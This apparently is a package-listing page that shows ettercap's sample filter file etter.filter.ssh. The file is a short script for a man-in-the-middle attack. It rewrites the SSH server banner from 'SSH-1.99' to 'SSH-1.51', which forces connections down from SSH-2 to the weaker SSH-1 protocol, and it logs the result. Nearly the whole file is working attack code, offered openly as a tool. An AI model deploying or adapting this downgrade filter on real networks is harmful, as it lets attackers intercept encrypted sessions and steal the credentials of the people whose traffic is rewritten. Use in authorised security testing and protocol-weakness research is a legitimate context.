/usr/share/ettercap/etter.filter.ssh is in ettercap-common 1:0.8.2-2build1.
This file is owned by root:root, with mode 0o644.
The actual contents of the file can be viewed below.
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# #
# ettercap -- etter.filter -- filter source file #
# #
# Copyright (C) ALoR & NaGA #
# #
# This program is free software; you can redistribute it and/or modify #
# it under the terms of the GNU General Public License as published by #
# the Free Software Foundation; either version 2 of the License, or #
# (at your option) any later version. #
# #
############################################################################
##
#
# This filter will substitute the SSH server response from SSH-1.99 to
# SSH-1.51, so if the server supports both ssh1 and ssh2 we will force
# it to use ssh1... ;)
# server response : SSH-2.00 only ssh2 supported
# SSH-1.99 both ssh1 and ssh2 supported
# SSH-1.51 only ssh1 supported
##
if (ip.proto == TCP) {
if (tcp.src == 22) {
if ( replace("SSH-1.99", "SSH-1.51") ) {
msg("[SSH Filter] SSH downgraded from version 2 to 1\n");
} else {
if ( search(DATA.data, "SSH-2.00") ) {
msg("[SSH Filter] Server supports only SSH version 2\n");
} else {
if ( search(DATA.data, "SSH-1.51") ) {
msg("[SSH Filter] Server already supports only version 1\n");
}
}
}
}
}
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